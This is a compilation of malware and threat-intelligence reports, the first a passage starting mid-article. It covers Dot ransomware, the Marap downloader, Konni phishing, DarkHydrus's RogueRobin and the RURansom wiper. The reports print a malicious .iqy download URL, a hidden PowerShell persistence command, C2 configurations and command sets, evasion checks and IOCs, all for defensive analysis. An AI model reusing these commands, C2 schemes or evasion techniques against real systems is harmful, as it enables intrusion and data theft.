The first string related to the compiler tells us that the criminals likely used HiASM (an old Russian IDE for Delphi development) to build the malware. The DLL mentioned, comctl32.dll, is often targeted for UAC bypasses. It also seems to track mouse events to some extent; this could either be used as an evasion mechanism or entropy collection (the first option is a lot more plausible). "HOW TO RESTORE ENCRYPTED FILES.txt" is the filename of the dropped ransom note, although I'm not sure about the use of "DECRYPT FILES.txt" since this file was not present on any infected system. (Speculation: Does it select one out of multiple filenames to make tracking more difficult?). Lastly, we have a filepath and a string that looks like the criminal dragged his face across the keyboard once.
Alright, let's move along. Because Delphi is notoriously weird and difficult to disassemble/decompile, it is time to try a new tool again. Today I will be using Ghidra with Dhrake developed by Jesko Hüttenhain. A short tl;dr: Dhrake is short for "Delphi hand rake" and tries to fix missing symbols and borked function signatures by matching to the symbols extracted through IDR beforehand. This will not only clean up the decompilation results in Ghidra but also automatically create structs and virtual method tables for you instead of doing it by hand (as if reversing Delphi wasn't already painful enough). It's pretty cool, give it a try!
The first step to success is firing up Ghidra and loading the sample. Tell it to auto-analyze the file. Next, we need to extract the .IDC symbol file with the help of IDR. For this, it is sufficient to clone the Git repo and paste the knowledge base files from the Dropbox linked at the end of the README into it. After that is done, just run IDR.exe, import the binary, and choose IDC Generator under Tools.
After copying the two Dhrake scripts into your ghidra_scripts folder (e.g., ~/ghidra_scripts), you can refresh the list in the Script Manager once and switch to the Delphi category. Run DhrakeInit and select the IDC file you created earlier. Filtering for "VMT" in the Symbol Tree gives you all the symbols relevant to Dhrake. Just click the name in the listing view once and run DhrakeParseClass (set the checkbox "In Tool" and press F8 to run). The script will now automatically create the corresponding class and vtable struct.
So I guess we should continue with the analysis now :D As 90% of ransomware strains do, "Dot" will read the keyboard layout as well. `GetKeyboardLayout(0)` returning 7 would be equivalent to a Japanese keyboard layout. Passing 1 to `GetKeyboardType` will return the subtype, which is OEM specific, but will tell you how many function keys there are.
Here's the documentation. Dot also queries the current cursor position on the screen and passes it on to another function. Haven't investigated further yet.
Here we are again: weird DLLs that may or may not be a UAC bypass. UACme mentions two methods (#21 and #22) employing comctl32.dll. Unsure what to make of this at the moment.
In one of the scenarios, I ran Regshot to see whether the Ransomware adds/modifies/deletes registry keys, but there weren't any changes that I can attribute to it. Dot tries to read `SOFTWARE\Borland\Delphi\RTL FPUMaskValue`.
This is another work in progress article as I've come down with the "Congress Flu," so check back in a few days for an update. Probably the most important thing this report is still missing is a look at the crypto implementation. A look at the imports reveals that it is not using the Windows Crypto API but rather a weird Delphi one. We'll see.
## MITRE ATT&CK
- T1107 --> File Deletion --> Defense Evasion
- T1045 --> Software Packing --> Defense Evasion
- T1012 --> Query Registry --> Discovery
- T1076 --> Remote Desktop Protocol --> Lateral Movement
## IOCs
**Dot Samples**
- 01.exe --> SHA256: bebf5c12e35029e21c9cca1da53eb43e893f9521435a246ea991bcced2fabe67
SSDEEP: 768:Qa8bmv7hNAMbgYT6hQdPLC7TasOKS/3U7fzd4tA9yenQ779Zo2lPnoCLnS9QtRbY:Ebmvs71+DKoKS/kjz
- 01.exe --> SHA256: aa85b2ec79bc646671d7280ba27f4ce97e8fabe93ab7c97d0fd18d05bab6df29
SSDEEP: 98304:mt+HWV4nwA+8PgzCRfjMlFBiZhfcrQSav//dH768QyO4YXoftvFUmgaJml9iUybR:NddPgzC+lFkZhER
- unpacked:
01.exe --> SHA256: 814e061d2e58720a43bcb3fe0478a8088053f0a407e25ff84fb98850d128f81c
SSDEEP: 1536:CCq2EikJZdZ529nEaqQOyergddb6apjAwzHx4D:7IZYxEHJrIdFjAwzHx4
**Registry Changes**
Inconclusive as Regshot didn't show anything suspicious, only Delphi related keys at most.
**E-Mail Addresses**
[email protected]
**Ransomnote**
If you want to return your .[REDACTED: random 8-letter lowercase extension] files, contact us and we will send you a decryptor and a unique decryption key.
[email protected]
All your files have been encrypted!
Your personal identifier:
======================================================================================
-------------------------------------------------------------------------------------
[REDACTED: 606-digit numeric ID]
-------------------------------------------------------------------------------------
====================================================================================== |
# New Modular Downloaders Fingerprint Systems, Prepare for More - Part 1: Marap
**August 16, 2018**
**Proofpoint Staff**
## Overview
Proofpoint researchers recently discovered a new downloader malware in a fairly large campaign primarily targeting financial institutions. The malware, dubbed “Marap” (“param” backwards), is notable for its focused functionality that includes the ability to download other modules and payloads. The modular nature allows actors to add new capabilities as they become available or download additional modules post-infection. To date, we have observed it download a system fingerprinting module that performs simple reconnaissance.
## Campaign Analysis
On August 10, 2018, we observed several large email campaigns leading to the same “Marap” malware payload in our testing. They shared many features with previous campaigns attributed to the TA505 actor. The emails contained various attachment types:
- Microsoft Excel Web Query (“.iqy”) files
- Password-protected ZIP archives containing “.iqy” files
- PDF documents with embedded “.iqy” files
- Microsoft Word documents containing macros
The campaigns are outlined below:
**“Sales” “.iqy” attachment campaign:** Messages purporting to be from '"sales" <[random address]>' with the subject "REQUEST [REF:ABCDXYZ]" and attachment "REP_10.08.iqy".
**“Major bank” “.iqy” attachment campaign:** Messages purporting to be from '"[recipient name]" <random_name@[major bank].com>' with subject "IMPORTANT Documents - [Major Bank]" and attachment "Request 1234_10082018.iqy"; this campaign abuses the brand and name of a major US bank.
**PDF attachment campaign:** Messages purporting to be from '"Joan Doe" <netadmin@[random domain]>' with subject "DOC_1234567890_10082018" and matching attachment "DOC_1234567890_10082018.pdf" (with embedded .iqy file).
**Password-protected ZIP campaign:** Messages purporting to be from '"John" <John@[random company]>' with subject "Emailing: PIC12345" and matching attachment "PIC12345.zip".
**Microsoft Word attachment campaign:** Messages purporting to be from '"Joan" <Joan@[random domain]>' with subject "Invoice for 12345.10/08/2018" with matching attachment "Invoice_12345.10_08_2018.doc".
## Malware Analysis
Marap is a new downloader, named after its command and control (C&C) phone home parameter “param” spelled backwards. The malware is written in C and contains notable anti-analysis features.
### Anti-Analysis Features
Most of the Windows API function calls are resolved at runtime using a hashing algorithm. API hashing is common in malware to prevent analysts and automated tools from easily determining the code’s purpose. This algorithm appears to be custom to Marap.
The second anti-analysis technique is the use of timing checks at the beginning of important functions. These checks can hinder debugging and sandboxing of the malware. If the calculated sleep time is too short, the malware exits.
Most of the strings in the malware are obfuscated using one of three methods:
1. Created on the stack (stack strings)
2. Basic XOR encoding
3. A slightly more involved XOR-based encoding
The last anti-analysis check compares the system’s MAC address to a list of virtual machine vendors. If a virtual machine is detected and a configuration flag is set, the malware may exit.
### Configuration
Marap’s configuration is stored in an encrypted format in the malware binary and/or in a file named “Sign.bin” in the malware’s working directory. It is DES-encrypted in CBC mode using an IV of “\x00\x00\x00\x00\x00\x00\x00\x00”. The key is generated using a linear congruential generator (LCG) and two hardcoded seeds.
An example decrypted configuration looks like:
```
15|1|hxxp://185.68.93[.]18/dot.php|hxxp://94.103.81[.]71/dot.php|hxxp://89.223.92[.]202/dot.php
```
It is pipe-delimited and contains configuration parameters for:
- Sleep timeout between C&C communications
- Flag indicating whether the malware should exit if it detects that it is running on a virtual machine
- Up to three C&C URLs
### Command and Control
Marap uses HTTP for its C&C communication but first tries a number of legitimate WinHTTP functions to determine whether it needs to use a proxy.
The request contains one parameter -- “param” -- and its data is encrypted using the same method as used for the configuration, with the addition of base64 encoding.
An example of the plaintext request looks like:
```
62061c6bcdec4fba|0|0
```
It is pipe-delimited and contains the following:
- Bot ID
- Hardcoded to “0”
- Hardcoded to “0”
The response is encrypted similarly and an example decrypted response looks like:
```
319&1&0&hxxp://89.223.92[.]202/mo.enc
```
It is “&”-delimited and contains the following:
- Command ID
- Command
- Flag controlling response type
- Command arguments
Identified commands include:
- 0: Sleep and beacon again
- 1: Download URL, DES decrypt, and manually load the MZ file
- 2: Update configuration and write a DES-encrypted version to the file “Sign.bin”
- 3: Download URL, DES decrypt, save the MZ file to “%TEMP%/evt”, and execute with a command line argument
- 4: Download URL, DES decrypt, create/hollow out a process, and inject the downloaded MZ file
- 5: Download URL, DES decrypt, save the MZ file as “%TEMP%/zvt”, and load it with the LoadLibrary API
- 6: Download URL, DES decrypt, and manually load the MZ file
- 7: Remove self and exit
- 8: Update self
After command execution, a response message can be sent back to the C&C. It is pipe delimited and contains the following:
- Bot ID
- Hardcoded “1”
- Command ID
- Command
- Flag controlling response type
- Command return value
- Command status code
- Response data
### System Fingerprinting Module
At the time of publication, we have only seen a system fingerprinting module being sent from a C&C server. It was downloaded from “hxxp://89.223.92[.]202/mo.enc” and contained an internal name of “mod_Init.dll”. The module is a DLL written in C and gathers and sends the following system information to the C&C server:
- Username
- Domain name
- Hostname
- IP address
- Language
- Country
- Windows version
- List of Microsoft Outlook .ost files
- Anti-virus software detected
## Conclusion
As defenses become more adept at catching commodity malware, threat actors and malware authors continue to explore new approaches to increase effectiveness and decrease the footprint and inherent “noisiness” of the malware they distribute. We have observed ransomware distribution drop dramatically this year while banking Trojans, downloaders, and other malware have moved to fill the void, increasing opportunities for threat actors to establish persistence on devices and networks. This new downloader, along with another similar but unrelated malware, points to a growing trend of small, versatile malware that give actors flexibility to launch future attacks and identify systems of interest that may lend themselves to more significant compromise.
## Indicators of Compromise (IOCs)
| IOC | IOC Type | Description |
|----------------------------------------------------------------------------------------------|----------|--------------------------------------------------|
| bea0276c51bd6dbccb64110a8655fd623cbb9ebf6e0105c57f62e53e209361b6 | SHA256 | “REP_10.08.iqy” attachment |
| 1c6661cc19d071df75ef94c58829f223b8634c00a03d1dadcde222c25475fa05 | SHA256 | “Request [random digits]_10082018.iqy” attachment |
| 2c5729e17b64cd4e905ccfeabbc913ed945e17625c35ec1d6932194aae83d7c6 | SHA256 | PDF attachment |
| 8a03144025cd2804a714cd4e3833c341b02edf0c745c810c88efd053cc813233 | SHA256 | Password-protected ZIP attachment |
| hxxp://i86h[.]com/data1.dat | URL | Remote Excel cell content |
| hxxp://i86h[.]com/data2.dat | URL | Intermediate Powershell script |
| hxxp://i86h[.]com/data3.dat | URL | Payload |
| hxxp://r53x[.]com/1.rar | URL | Remote Excel cell content |
| hxxp://r53x[.]com/1.zip | URL | Intermediate Powershell script |
| hxxp://r53x[.]com/a3.dat | URL | Payload |
| bc1fc69f9747dc034ece7d9bb795c5e596d9be6ca71efe75c6c0fd18f3cbfbf5 | SHA256 | Marap |
| hxxp://185.68.93[.]18/dot.php | URL | Marap C&C |
| hxxp://94.103.81[.]71/dot.php | URL | Marap C&C |
| hxxp://89.223.92[.]202/dot.php | URL | Marap C&C |
| Sign.bin | File | Marap’s encrypted configuration file |
| hxxp://89.223.92[.]202/mo.enc | URL | Encrypted Marap system fingerprinting module download |
| a6a31f6b6ac73131a792daa255df88d71ba8c467abfa2a5580221a694c96c2cc | SHA256 | Encrypted Marap system fingerprinting module |
| 1b9f592fcf8b0f1349db7f49f3061396f21d38728eb0d84e1c90ad39e5ddb3ab | SHA256 | Marap system fingerprinting module DLL |
## ET and ETPRO Suricata/Snort Signatures
- 2832142 || ETPRO TROJAN Win32/Marap CnC Beacon
- 2832143 || ETPRO TROJAN Win32/Marap CnC Beacon Response |
# Hackers Take Over Diplomat's Email, Target Russian Deputy Minister
Hackers believed to work for the North Korean government have compromised the email account of a staff member of Russia’s Ministry of Foreign Affairs (MID) and deployed spear-phishing attacks against the country’s diplomats in other regions. One of the targets was Sergey Alexeyevich Ryabko, the deputy foreign minister for the Russian Federation, among other things responsible for bilateral relations with North and South America.
The phishing campaign started at least on October 19, 2021, deploying Konni malware, a remote administration tool (RAT) associated with the cyber activity from North Korean hackers known as APT37 (or StarCruft, Group123, Operation Erebus, and Operation Daybreak).
Cybersecurity firm Cluster25 last week published research about a phishing campaign towards the end of December 2021 that delivered Konni RAT to individuals in the Russian diplomatic apparatus. The researchers found that the hackers used the New Year theme as a decoy in emails to staff at the Russian embassy in Indonesia. It was a congratulatory message that appeared to be from fellow diplomats at the Russian embassy in Serbia sending a ZIP archive with a holiday screensaver. When extracted, the file was an executable that ultimately delivered the Konni RAT disguised as Windows service “scrnsvc.dll.”
Researchers at Lumen’s Black Lotus Labs were also tracking these spear-phishing campaigns that had started at least two months earlier, the likely goal being to harvest credentials of an active MID account. To achieve their objective, the attackers relied on spoofed hostnames for email services common in Russia, Mail.ru and Yandex. Another campaign started around November 7, delivering URLs for downloading an archive with documents asking for information on the vaccination status. The archive also included an executable posing as legitimate software used for checking the Covid-19 vaccination status, which executed a malware loader that infected the system with Konni.
According to Black Lotus Labs researchers, the campaign in December also spotted by Cluster25 was the third one from the same threat actor and used the compromised MID account “mskhlystova@mid[.]ru” to send out malicious emails. The recipients of the malicious messages were the Russian embassy in Indonesia and Russian politician Sergey Alexeyevich Ryabkov, currently serving as Deputy Foreign Minister.
Looking at the email headers revealed that the source of the messages was the same IP address, 152.89.247[.]26, used for the phishing campaign in October, Black Lotus Labs found. Technical analysis of the infection chain from Lumen’s researchers confirmed Cluster25’s findings, including the evasion technique of hiding a payload in a “401 unauthorized” server error response. Black Lotus Labs researchers say that this was a highly targeted campaign that “downloaded a first-stage agent which is nearly identical to the agent” discovered by Malwarebytes in a Konni attack against Russian targets. Both cybersecurity outfits are confident in attributing the spear-phishing campaigns against the Russian diplomatic entities to the Konni advanced persistent threat. |
# New Threat Actor Group DarkHydrus Targets Middle East Government
**By Robert Falcone, Bryan Lee, and Tom Lancaster**
**July 27, 2018**
**Category: Unit 42**
**Tags: DarkHydrus, RogueRobin**
In July 2018, Unit 42 analyzed a targeted attack using a novel file type against at least one government agency in the Middle East. It was carried out by a previously unpublished threat group we track as DarkHydrus. Based on our telemetry, we were able to uncover additional artifacts leading us to believe this adversary group has been in operation with their current playbook since early 2016. This attack diverged from previous attacks we observed from this group as it involved spear-phishing emails sent to targeted organizations with password protected RAR archive attachments that contained malicious Excel Web Query files (.iqy).
.iqy files are simple text files containing a URL which are opened by default by Excel. Once opened, Excel will retrieve whatever object is at the URL inside the file. These files have most recently been found in use by criminals to deliver commodity RATs such as Flawed Ammyy. In DarkHydrus's case, the preferred payload retrieved in their previous attacks were exclusively open-source legitimate tools which they abuse for malicious purposes, such as Meterpreter and Cobalt Strike. However, in this instance, it appears that this group used a custom PowerShell based payload that we call RogueRobin.
## Attack Analysis
The actors sent the spear-phishing emails between July 15 and 16. Each of the emails had a password protected RAR archive attached named credential.rar. The body of the message was written in Arabic and asks the recipient to review the document within the archive. The message also includes the password 123456 that is required to open the RAR archive. The credential.rar archive contained a malicious .iqy file named credential.iqy.
Google Translate renders the Arabic message as:
> Hi
> Please review and review the attached file
> Gratefully
> Password: 123456
## Payload Analysis
The credential.iqy is an .iqy file (SHA256: cc1966eff7bed11c1faada0bb0ed0c8715404abd936cfa816cef61863a0c1dd6) that contains nothing more than the following text string:
`hxxp://micrrosoft[.]net/releasenotes.txt`
Microsoft Excel natively opens .iqy files and will use the URL in the file to obtain remote data to include in the spreadsheets. By default, Excel does not allow the download of data from the remote server, but will ask for the user’s consent by presenting a dialog box.
By enabling this data connection, the user allows Excel to obtain content from the URL in the .iqy file. The contents within the releasenotes.txt file (SHA256: bf925f340920111b385078f3785f486fff1096fd0847b993892ff1ee3580fa9d) contains a formula that Excel will save to the “A0” cell in the worksheet. The formula uses a command prompt to run a PowerShell script that attempts to download and execute a second PowerShell script hosted at the URL `hxxp://micrrosoft[.]net/winupdate.ps1`.
The winupdate.ps1 script (SHA256: 36862f654c3356d2177b5d35a410c78ff9803d1d7d20da0b82e3d69d640e856e) is the main payload of this attack that we call RogueRobin. Its developer used the open source Invoke-Obfuscation tool to obfuscate this PowerShell script, specifically using the COMPRESS technique offered by Invoke-Obfuscation. The decompressed PowerShell payload has some similarities to the PowerShell Empire agent, such as the use of a jitter value and commands referred to by job ID, but we do not have conclusive evidence that the author of this tool used Empire as a basis for their tool.
Before carrying out any of its functionality, the payload checks to see if it is executing in a sandbox. The payload uses WMI queries and checks running processes for evidence that the script may be executing within an analysis environment. The specific sandbox checks include:
- Using WMI to check BIOS version (SMBIOSBIOSVERSION) for VBOX, bochs, qemu, virtualbox and vm.
- Using WMI to check the BIOS manufacturer for XEN.
- Using WMI to check if the total physical memory is less than 2900000000.
- Using WMI to check if the number of CPU cores is less than or equal to 1.
- Enumerates running processes for "Wireshark" and "Sysinternals".
If the payload determines it is not running in a sandbox, it will attempt to install itself to the system to persistently execute. To install the payload, the script will create a file `%APPDATA%\OneDrive.bat` and save the following string to it:
`powershell.exe -WindowStyle Hidden -exec bypass -File "%APPDATA%\OneDrive.ps1"`
The script then writes a modified copy of itself to `%APPDATA%\OneDrive.ps1`, with the code that performs this installation omitted. To persistently execute when the system starts, the script will create a shortcut in the Windows startup folder, which will run the OneDrive.ps1 script each time the user logs in:
`$env:SystemDrive\Users\$env:USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk`
The payload itself communicates with its configured command and control (C2) servers using a custom DNS tunneling protocol. The domains configured within this payload are:
- Anyconnect[.]stream
- Bigip[.]stream
- Fortiweb[.]download
- Kaspersky[.]science
- microtik[.]stream
- owa365[.]bid
- symanteclive[.]download
- windowsdefender[.]win
The DNS tunneling protocol can use multiple different DNS query types to interact with the C2 server. The payload has a function it calls early on that tests to see which DNS query types are able to successfully reach the C2 server. It iterates through a list of types and the first DNS type to receive a response from the C2 server will be used for all communications between the payload and the C2 server.
The payload uses the built-in Windows nslookup application with specific parameters and specially crafted subdomains to communicate with the C2. To establish communications with the C2, the payload will first get a system specific identifier issued by the C2 server. The initial DNS query sent by the payload to obtain the system specific identifier uses the following structure, which includes the current process identifier (PID) as the subdomain of the C2 domain:
`<current process id>.<c2 domain>`
The C2 server will provide the system specific identifier within the answer portion of the DNS response.
### Table 1: Breakdown of query types
| DNS Type | Description |
|----------|-------------|
| A | Uses the regular expression '(\d+)\-.$Global:domain' to get the decimal value from the answer |
| AAAA | The payload will split the IPv6 answer on ":" take the [0] and [1] digits treat them as a hexadecimal value to obtain an integer. |
| AC,CNAME,MX,TXT,SRV,SOA | Uses the regular expression 'Address:\s+(\d+.\d+.\d+.\d+)' and uses the decimal value in the first octet of that IPv4 address |
Once the system identifier is obtained, the payload gathers system specific information and sends it to the C2 server. The information gathered is added to a string in the following structure:
`<IP address>|<computer name>|<domain>|<username>|<isAdmin flag>|<hasGarbage flag from config>|<hasStartup flag from config>|<"hybrid" mode flag from config>|<sleep interval from config>|<jitter value from config>`
The payload will base64 encode this string and use its DNS tunneling protocol to transmit the data to the C2. The tunneling protocol transmits data by sending a series of DNS queries with the data within the subdomain of the C2 domain. The structure of each of these outbound DNS requests is as follows:
`<system ID>-<job ID>-<offset in data><more data flag>-<random length of base64 encoded data between 30 and 42 characters>.<c2 domain>`
The payload will look for different responses to these outbound queries depending on the type of DNS request that the payload uses to communicate with the C2.
### Table 2: Types of responses provided by C2
| DNS TYPE | Regex Pattern |
|----------|---------------|
| A | Address:\s+(\d+.\d+.\d+.\d+) |
| AC | \d+-\d+-(\d+)-([\w\d+/=]+)-\d-.ac.$Global:domain |
| AAAA | Address:\s+(([a-fA-F0-9]{0,4}:{1,4}[\w|:]+){1,8}) |
| CNAME,MX,TXT,SRV,SOA | (\d+)-([\w\d/=+]{0,})\-.$Global:domain |
These regular expressions are used to build strings that the payload will then subject to its command handler. We analyzed the payload to determine the commands available, which provide a variety of remote administration capabilities.
### Table 3: Commands available to payload
| Command | Description |
|---------------------|-------------|
| $fileDownload | Uploads the contents of a specified file to C2 |
| $importModule | Adds a specified PowerShell module to the current script |
| $screenshot | Executes the contents of the command, which should be the string '$screenshot'. We are not sure if this works, but the command name would suggest it is meant to take a screenshot |
| $command | Runs a PowerShell command and sends the output to the C2 |
| slp:\d+ | Sets the sleep interval between C2 beacons |
| $testmode | Issues DNS queries of A, AAAA, AC, CNAME, MX, TXT, SRV and SOA types to the C2 servers attempting to determine which DNS query types were successful. This command will automatically set the DNS type to use for actual C2 |
| $showconfig | Uploads the current configuration of the payload to the C2 |
| slpx:\d+ | Sets the sleep interval between outbound DNS requests |
| $fileUpload | Downloads contents from the C2 server and writes them to a specified file |
## Campaign Analysis
The following domains are configured within the payload to be used as C2s. Thematically, each domain appeared to be attempting to spoof the legitimate domain of an existing technology provider with an emphasis on security vendors.
- Anyconnect[.]stream
- Bigip[.]stream
- Fortiweb[.]download
- Kaspersky[.]science
- microtik[.]stream
- owa365[.]bid
- symanteclive[.]download
- windowsdefender[.]win
The listed C2 servers all resolved to IPs belonging to a service provider in China at 1.2.9.0/24, which is the IP address used by the C2 server to send a cancel communications message to the end system. These IPs provided insufficient data for additional investigations. However, each of the listed domains used ns102.kaspersky[.]host and ns103.kaspersky[.]host as their name servers. Examination of ns102/ns103.kaspersky[.]host revealed that the second level domain kaspersky[.]host was illegitimate and not owned by the legitimate Kaspersky Labs. Passive DNS resolution of kaspersky[.]host revealed two IPs of interest, 107.175.150[.]113 and 94.130.88[.]9.
94.130.88[.]9 showed passive DNS resolutions of two additional domains, 0utlook[.]bid and hotmai1[.]com. It is unknown what these domains may have been used for but based on the similarity of domain spoofing and sharing an IP, they are likely part of the adversary infrastructure. 107.175.150[.]113 showed one other domain resolution, <redacted>.0utl00k[.]net. We were able to link this specific domain as a C2 for another weaponized document (SHA256: d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318) containing a PowerShell script very similar to the one found in this attack. Examining the second level domain of 0utl00k[.]net revealed another IP of interest, 195.154.41[.]150. This IP contained two other domain resolutions following the vendor spoofing theme: allexa[.]net and cisc0[.]net. Expanding upon cisc0[.]net, we discovered several weaponized documents and payloads using this domain as a C2, from mid to late 2017.
Open source intelligence provided by ClearSky Security indicates the domain cisc0[.]net is possibly related to the adversary group known as Copy Kittens. While there are significant tactical overlaps such as similarity of techniques used as well as victimology, we were unable to uncover significant evidence of relational overlaps. Further information regarding the Copy Kittens adversary can be found in a paper titled Operation Wilted Tulip.
Our own dataset provides a solid grouping of the DarkHydrus group, with significant overlaps in C2 infrastructure as well as similarities in weaponized binaries. C2 domains were also left online and reused over an extended amount of time, such as the domain micrrosoft[.]net which was used in this attack in addition to two other payloads in January 2017 and July 2017.
Studying the other samples attributed to DarkHydrus, we are able to ascertain that this adversary has mainly leveraged weaponized Microsoft Office documents using tools available freely or from open source repositories such as Meterpreter, Mimikatz, PowerShellEmpire, Veil, and CobaltStrike. The documents generally do not contain malicious code and instead are weaponized to retrieve remote files containing malicious code on execution. Due to the modular nature of the delivery document, available data for analysis for these attacks are dependent upon the operational nature of the C2 server at the time of execution.
## Conclusion
The DarkHydrus group carried out an attack campaign on at least one government agency in the Middle East using malicious .iqy files. The .iqy files take advantage of Excel's willingness to download and include the contents from a remote server in a spreadsheet. DarkHydrus leveraged this obscure file format to run a command to ultimately install a PowerShell script to gain backdoor access to the system. The PowerShell backdoor delivered in this current attack may have been custom developed by the threat group; however, it is possible that DarkHydrus pieced together this tool by using code from legitimate open source tools.
Palo Alto Networks customers are protected by:
- The micrrosoft[.]net domain has had a malicious classification since March 3, 2017.
- All C2 domains associated with this payload have a command and control classification.
- Traps provides endpoint protection, as it can block Excel from creating a command prompt process.
- AutoFocus customers may learn more from the DarkHydrus tag.
## IOC
### Related SHA256 Hashes
**Payloads**
- cec36e8ed65ac6f250c05b4a17c09f58bb80c19b73169aaf40fa15c8d3a9a6a1
- ac7f9c536153780ccbec949f23b86f3d16e3105a5f14bb667df752aa815b0dc4
- a547a02eb4fcb8f446da9b50838503de0d46f9bb2fd197c9ff63021243ea6d88
- d428d79f58425d831c2ee0a73f04749715e8c4dd30ccd81d92fe17485e6dfcda
- dd2625388bb2d2b02b6c10d4ee78f68a918b25ddd712a0862bcf92fa64284ffa
- b2571e3b4afbce56da8faa726b726eb465f2e5e5ed74cf3b172b5dd80460ad81
- c8b3d4b6acce6b6655e17255ef7a214651b7fc4e43f9964df24556343393a1a3
- ce84b3c7986e6a48ca3171e703e7083e769e9ced1bbdd7edf8f3eab7ce20fd00
- 99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c
**Delivery documents**
- d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318
- 8063c3f134f4413b793dfc05f035b6480aa1636996e8ac4b94646292a5f87fde
- 9eac37a5c675cd1750cd50b01fc05085ce0092a19ba97026292a60b11b45bf49
- cf9b2b40ac621aaf3241ff570bd7a238f6402102c29e4fbba3c5ce0cb8bc25f9
- 0a3d5b2a8ed60e0d96d5f0d9d6e00cd6ab882863afbb951f10c395a3d991fbc1
- 0b1d5e17443f0896c959d22fa15dadcae5ab083a35b3ff6cb48c7f967649ec82
- 870c8b29be2b596cc2e33045ec48c80251e668abd736cef9c5449df16cf2d3b8
- ff0b59f23630f4a854448b82f1f0cd66bc4b1124a3f49f0aecaca28309673cb0
- 01fd7992aa71f4dca3a3766c438fbabe9aea78ca5812ab75b5371b48bd2625e2
- 6dcb3492a45a08127f9816a1b9e195de2bb7e0731c4e7168392d0e8068adae7a
- 47b8ad55b66cdcd78d972d6df5338b2e32c91af0a666531baf1621d2786e7870
- 776c056096f0e73898723c0807269bc299ae3bbd8e9542f0a1cbba0fd3470cb4
- cf7863e023475d695c6f72c471d314b8b1781c6e9087ff4d70118b30205da5f0
- e88045931b9d99511ce71cc94f2e3d1159581e5eb26d4e05146749e1620dc678
- 26e641a9149ff86759c317b57229f59ac48c5968846813cafb3c4e87c774e245
- b5cfaac25d87a6e8ebabc918facce491788863f120371c9d00009d78b6a8c350
- ad3fd1571277c7ce93dfbd58cee3b3bec84eeaf6bb29a279ecb6a656028f771c
### Related Domains
- maccaffe[.]com
- cisc0[.]net
- 0utl00k[.]net
- msdncss[.]com
- 0ffice[.]com
- 0ffiice[.]com
- micrrosoft[.]net
- anyconnect[.]stream
- bigip[.]stream
- fortiweb[.]download
- kaspersky[.]science
- microtik[.]stream
- owa365[.]bid
- symanteclive[.]download
- windowsdefender[.]win
- allexa[.]net
- kaspersky[.]host
- hotmai1[.]com
- 0utlook[.]bid |
# New RURansom Wiper Targets Russia
**March 8, 2022**
**By: Jaromir Horejsi, Cedric Pernet**
A conflict in cyberspace is unfolding parallel to the conflict between Russia and Ukraine on the ground. Cyberattacks are being lobbed against both Russian and Ukrainian sides, with a new wiper directed against Russia joining the fray.
On March 1, a tweet from MalwareHunterTeam about a possible ransomware variant caught our attention and set our immediate analysis into motion. We found several additional samples of this malware, which has been dubbed as “RURansom” by its developer. Despite its name, analysis has revealed it to be a wiper and not a ransomware variant because of its irreversible destruction of encrypted files.
## Targeting Russia
Based on our telemetry, we have not yet observed active targets for this malware family. One possible reason for this is that the wiper has only targeted a few entries in Russia so far. RURansom’s code, however, makes its author’s motives clear. The note reads in English as follows:
> "On February 24, President Vladimir Putin declared war on Ukraine. To counter this, I, the creator of RU_Ransom, created this malware to harm Russia. You bought this for yourself, Mr. President. There is no way to decrypt your files. No payment, only damage. And yes, this is 'peacekeeping' like Vladi Papa does, killing innocent civilians. And yes, it was translated from Bangla into Russian using Google Translate... (This is a direct translation.)"
We detected different versions of the malware between February 26 and March 2, 2022. Upon further analysis, we have learned more details about its capabilities.
## RURansom: A new wiper
The malware is written in .NET programming language and spreads as a worm by copying itself under the file name "Россия-Украина_Война-Обновление.doc.exe" to all removable disks and mapped network shares. Translated into English, the file name reads as “Russia-Ukraine_War-Update.doc.exe.”
After successfully spreading, the malware then begins encryption. If the assigned disk letter is “C:\,” for example, the files in the folder “C:\\Users\\<UserName>" are encrypted. For other removable and mapped network drives, all files that recursively branch from the root directory are encrypted. Encryption is applied to all file extensions except for “.bak” files, which are deleted. The files are encrypted with a randomly generated key with length equal to base64 ("FullScaleCyberInvasion + " + MachineName).
The encryption algorithm is AES-CBC using a hard-coded salt. The keys are unique for each encrypted file and are not stored anywhere, making the encryption irreversible and marking the malware as a wiper rather than a ransomware variant. The “ransom” note, which is the file “Полномасштабное_кибервторжение.txt” (translated as “Full-blown_cyber-invasion.txt”), is then dropped into each directory. However, it is more accurate to say that this is a wiper note.
As seen in the code, the note states its developer’s sentiments and also reveals that the author used Google Translate to convey their message in Russian from the original Bangla.
## Still in development
We have discovered several versions of RURansom. Some of these versions check if the IP address where the software is launched is in Russia. In cases where the software is launched outside of Russia, these versions will stop execution, showing a conscious effort to target only Russian-based computers. While most samples were unobfuscated, we found one version using ConfuserEx for obfuscation. Other versions also attempt to start the process with elevated privileges. These different versions and modifications might indicate that the malware was still undergoing development at the time of writing.
Aside from RURansom, the developer appears to have been working on another “wiper” dubbed as “dnWipe.” Its payload is executed every Tuesday. We analyzed dnWipe and found that it simply encodes content in base64 for the following file extensions: .doc, .docx, .png, .gif, .jpeg, .jpg, .mp4, .txt, .flv, .mp3, .ppt, .pptx, .xls, and .xlsx. Therefore, just as RURansom is not really a ransomware variant, dnWipe also cannot be classified as an example of a wiper malware because its encoding can be decoded easily. Other binaries that we can attribute with high confidence to the same developer indicate their other interests. For one, they have also compiled a downloader for an XMRig binary, showing an inclination for cryptocurrency mining.
## Conclusion
No one can be indifferent to the conflict between Ukraine and Russia. People all over the world are actively taking sides, and malware developers are no exception. As this blog entry shows, the exchange of attacks in cyberspace is reflective of this conflict: Leaks have exposed Russian-based cybercriminal groups behind Conti and TrickBot, while a destructive wiper has attacked organizations in Ukraine. Now, the RURansom wiper is seeking out Russian targets.
We see RURansom as just one attempt among a growing list of attacks that aim to support a position espoused strongly by an individual or a group. While we have not yet found any victims of this malware, seeing the evolution in its code leads us to believe that its developer will keep updating their malware in an effort to deal some form of damage on Russia. In general, the tense geopolitical situation has added an edge to cyberattacks. Ultimately, keeping defenses up, staying vigilant against misinformation, and monitoring the situation is essential in order to navigate this uncertain state of affairs.
## Indicators of Compromise (IOCs)
**SHA256** | **Detection name**
107da216ad99b7c0171745fe7f826e51b27b1812d435b55c3ddb801e23137d8f | Ransom.MSIL.RUCRYPT.YXCCD
